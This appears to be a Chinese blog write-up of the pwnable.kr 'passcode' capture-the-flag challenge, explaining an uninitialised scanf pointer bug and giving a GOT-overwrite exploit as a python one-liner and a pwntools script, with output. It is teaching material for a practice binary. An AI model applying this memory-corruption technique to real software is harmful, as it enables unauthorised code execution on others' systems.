【pwnable.kr】Toddler‘s Bottle-[passcode]


进入服务器


image-20211121155808691

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

妈妈让我做一个密码登录系统。

我的初始C代码被编译了,没有任何错误!

有一些编译器警告,但谁在乎呢?

输入命令回车,输入密码:guest 即可登录服务器。

C:\Users\22378>ssh passcode@pwnable.kr -p2222
passcode@pwnable.kr's password:
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

 ____  __    __  ____    ____  ____   _        ___      __  _  ____
|    \|  |__|  ||    \  /    ||    \ | |      /  _]    |  |/ ]|    \
|  o  )  |  |  ||  _  ||  o  ||  o  )| |     /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |    \ |    /
|  |  |  `  '  ||  |  ||  _  ||  O  ||     ||   [_  __ |     \|    \
|  |   \      / |  |  ||  |  ||     ||     ||     ||  ||  .  ||  .  \
|__|    \_/\_/  |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|

- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
You have mail.
Last login: Sun Nov 21 00:39:47 2021 from 27.96.197.230
passcode@pwnable:~$ ls
flag  passcode  passcode.c
passcode@pwnable:~$

下载文件


使用 scp远程复制 下载文件

scp -P 2222 -p  passcode@pwnable.kr:/home/passcode/* ./
D:\Desktop\安全\pwn\pwnable.kr->file passcode
passcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped

源码 passcode.c

$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

main函数调用welcome() 在此输入名字,接着调用login() 在此输入passcode1和passcode2。并且满足

(passcode1==338150 && passcode2==13371337)

然后才会调用/bin/cat flag 得到flag。

但是注意,题目中说忽略了警告。仔细看可以发现

int passcode1;
int passcode2;

passcode1和passcode2定义的都是整数。但是在输入的时候

 scanf("%d", passcode1);
 scanf("%d", passcode2);

没有取址符号

在welcome中也一样

 scanf("%100s", name);

没有取值符号的结果就是,会直接从中取四个字节(32位情况下)作为地址进行赋值。如果该地址不可写,就会造成内存错误。


反编译分析


main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("Toddler's Secure Login System 1.0 beta.");
  welcome();
  login();
  puts("Now I can safely trust you that you have credential :)");
  return 0;
}

login

.text:08048564 ; __unwind {
.text:08048564                 push    ebp
.text:08048565                 mov     ebp, esp
.text:08048567                 sub     esp, 28h
.text:0804856A                 mov     eax, offset format ; "enter passcode1 : "
.text:0804856F                 mov     [esp], eax      ; format
.text:08048572                 call    _printf
.text:08048577                 mov     eax, offset aD  ; "%d"
.text:0804857C                 mov     edx, [ebp+var_10]
.text:0804857F                 mov     [esp+4], edx
.text:08048583                 mov     [esp], eax
.text:08048586                 call    ___isoc99_scanf
.text:0804858B                 mov     eax, ds:stdin@@GLIBC_2_0
.text:08048590                 mov     [esp], eax      ; stream
.text:08048593                 call    _fflush
.text:08048598                 mov     eax, offset aEnterPasscode2 ; "enter passcode2 : "
.text:0804859D                 mov     [esp], eax      ; format
.text:080485A0                 call    _printf
.text:080485A5                 mov     eax, offset aD  ; "%d"
.text:080485AA                 mov     edx, [ebp+var_C]
.text:080485AD                 mov     [esp+4], edx
.text:080485B1                 mov     [esp], eax
.text:080485B4                 call    ___isoc99_scanf
.text:080485B9                 mov     dword ptr [esp], offset s ; "checking..."
.text:080485C0                 call    _puts
.text:080485C5                 cmp     [ebp+var_10], 528E6h
.text:080485CC                 jnz     short loc_80485F1
.text:080485CE                 cmp     [ebp+var_C], 0CC07C9h
.text:080485D5                 jnz     short loc_80485F1
.text:080485D7                 mov     dword ptr [esp], offset aLoginOk ; "Login OK!"
.text:080485DE                 call    _puts
.text:080485E3                 mov     dword ptr [esp], offset command ; "/bin/cat flag"
.text:080485EA                 call    _system
.text:080485EF                 leave
.text:080485F0                 retn
.text:080485F1 ; ---------------------------------------------------------------------------
.text:080485F1

welcome

.text:08048609 ; __unwind {
.text:08048609                 push    ebp
.text:0804860A                 mov     ebp, esp
.text:0804860C                 sub     esp, 88h
.text:08048612                 mov     eax, large gs:14h
.text:08048618                 mov     [ebp+var_C], eax
.text:0804861B                 xor     eax, eax
.text:0804861D                 mov     eax, offset aEnterYouName ; "enter you name : "
.text:08048622                 mov     [esp], eax      ; format
.text:08048625                 call    _printf
.text:0804862A                 mov     eax, offset a100s ; "%100s"
.text:0804862F                 lea     edx, [ebp+var_70]
.text:08048632                 mov     [esp+4], edx
.text:08048636                 mov     [esp], eax
.text:08048639                 call    ___isoc99_scanf
.text:0804863E                 mov     eax, offset aWelcomeS ; "Welcome %s!\n"
.text:08048643                 lea     edx, [ebp+var_70]
.text:08048646                 mov     [esp+4], edx
.text:0804864A                 mov     [esp], eax      ; format
.text:0804864D                 call    _printf
.text:08048652                 mov     eax, [ebp+var_C]
.text:08048655                 xor     eax, large gs:14h
.text:0804865C                 jz      short locret_8048663
.text:0804865E                 call    ___stack_chk_fail
.text:08048663 ; ---------------------------------------------------------------------------
.text:08048663

​ 程序main函数中,welcome和login存在栈复用(welcome和login这两个函数是连续调用的,导致他们拥有相同的栈底),welcome调用gets向[ebp-0x70]读入100个字符,开的数组相对比较大,这里我们有一次布置数据的机会,可以造成信息泄露。

​ 在login中,会把[ebp-10h] 、[ebp-Ch] 的内容为scanf要写入的地址。

.text:0804862A                 mov     eax, offset a100s ; "%100s"
.text:0804862F                 lea     edx, [ebp+var_70]
.text:0804856A                 mov     eax, offset format ; "enter passcode1 : "
.text:0804856F                 mov     [esp], eax      ; format
.text:08048572                 call    _printf
.text:08048577                 mov     eax, offset aD  ; "%d"
.text:0804857C                 mov     edx, [ebp+var_10]
.text:08048598                 mov     eax, offset aEnterPasscode2 ; "enter passcode2 : "
.text:0804859D                 mov     [esp], eax      ; format
.text:080485A0                 call    _printf
.text:080485A5                 mov     eax, offset aD  ; "%d"
.text:080485AA                 mov     edx, [ebp+var_C]

​函数调用过程中,一定会调用GOT表中函数,假如函数一定会调用print函数,流程大致是这样, 程序调用printf函数 > 访问PLT表对应表项 printf@plt > 跳转到对应的GOT表项 printf@got.plt 获得prinf函数地址

​我们又可以通过welcome函数,修改任意GOT表中的函数调用地址(可以构造某函数GOT地址到[ebp-10h] 或者 [ebp-Ch] ),在scanf的时候,完成GOT表覆盖(tips 中介绍)。

​当然一定要选择会被调用的地址,否则也是无用功。


EXP


找能够被调用的GOT表项

image-20211206185740338

在login函数的输入之后调用了__fflush 函数,我们选择这个函数

image-20211206185834084

点进去发现plt地址

image-20211206190011435

继续,发现GOT表项地址为 0x804A004

将该表项中存储的地址改为(/bin/cat flag)的地址 0x080485E3

image-20211206190355779

字符串的起始位置是ebp-0x70,转换成十进制也就是ebp-112,这说明字符串在栈中占了(ebp-112)-(ebp-13)这100个字节的位置。在上一步中,知道了scanf把ebp-0x10,也就是ebp-16开始的四个字节当作地址。这四个字节也就是字符串的最后四个字节。

.text:0804862A                 mov     eax, offset a100s ; "%100s"
.text:0804862F                 lea     edx, [ebp+var_70]
.text:0804856A                 mov     eax, offset format ; "enter passcode1 : "
.text:0804856F                 mov     [esp], eax      ; format
.text:08048572                 call    _printf
.text:08048577                 mov     eax, offset aD  ; "%d"
.text:0804857C                 mov     edx, [ebp+var_10]
.text:08048598                 mov     eax, offset aEnterPasscode2 ; "enter passcode2 : "
.text:0804859D                 mov     [esp], eax      ; format
.text:080485A0                 call    _printf
.text:080485A5                 mov     eax, offset aD  ; "%d"
.text:080485AA                 mov     edx, [ebp+var_C]

把字符串最后四个字节改成GOT表项的地址0x804a004,然后在运行scanf的时候,把0x080485e3输入进去就可以了。

scanf传入的是%d格式的数,所以需要把0x080485e3转换成十进制134514147再输入。

python -c "print 'A'*0x60 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode

执行流程大致是,调用welcome函数,输入name 为上面构造的字符串的前一百个字符,调用login函数中的scanf使得 后面的 134514147 覆盖 \x00\xa0\x04\x08 中的GOT_fflush地址,使得紧接着调用__fllush时候调用的是 cat flag 。

passcode@pwnable:~$ python -c "print 'A'*0x60 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
passcode@pwnable:~$

image-20211206192435131

Sorry mom.. I got confused about scanf usage :(

使用python脚本也可以。

from pwn import *
pwn_ssh=ssh(host='pwnable.kr',user='passcode',password='guest',port=2222)
print (pwn_ssh.connected())
sh=pwn_ssh.process(executable="./passcode")
print (sh.recv())
sh.sendline('A'*96+'\x04\xa0\x04\x08'+'134514147')
print (sh.recvall())

TIPS


scanf不加&的后果

​ scanf函数在为变量赋值的时候,除了字符串和数组以外,变量名前都要加&,这是因为编译时系统会为变量分配一个地址,加&就是为了将输入的值存入这个预先分配好的地址中。如果变量前不加&的话,在赋值的时候就不是把输入的值存在预先分配的地址,而是从中取四个字节(32位情况下)作为地址进行赋值,这个值是不固定的,因此就会出现各种问题。

GOT表覆盖

​在程序中,如果一个函数想调用printf、scanf等等这种系统函数时,要通过两个表来实现,一个是PLT表,一个是GOT表。

​因为这些系统函数并不像自定义的函数那样在程序中存在固定的位置,而是在程序运行的时候根据需要动态加载的,这样可以避免一次性加载大量不必要的函数。但这样造成的问题就是,不同的程序中系统函数所在位置不同,每次调用的时候都要重新定位系统函数的位置。为了避免重复定位,就引入了PLT表和GOT表。

​在一个程序刚开始运行的时候,系统会把程序需要的系统函数加载到内存中,然后把这些函数所在的地址一条一条的存放在GOT表中,然后PLT表项跟GOT表项一一对应,程序调用系统函数的话会访问PLT表的对应表项,然后再通过其中的jmp指令跳转到对应的GOT表项,获取函数真正所在的位置。以printf函数为例,流程如下:

程序调用printf函数 > 访问PLT表对应表项 printf@plt > 跳转到对应的GOT表项 printf@got.plt 获得prinf函数地址

​这里需要注意的是,GOT表具有两个特征,一个是可写(因为要往里写函数地址),一个是表项中存的地址会直接跳转执行。这两个特征就决定了,可以把GOT表中的地址修改成任意代码的地址,来运行这段代码。这种改写GOT表项中内容的方法就叫做GOT表覆盖。


参考:

https://blog.csdn.net/Z_Pathon/article/details/100181177

https://blog.csdn.net/qq_18661257/article/details/54694748

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值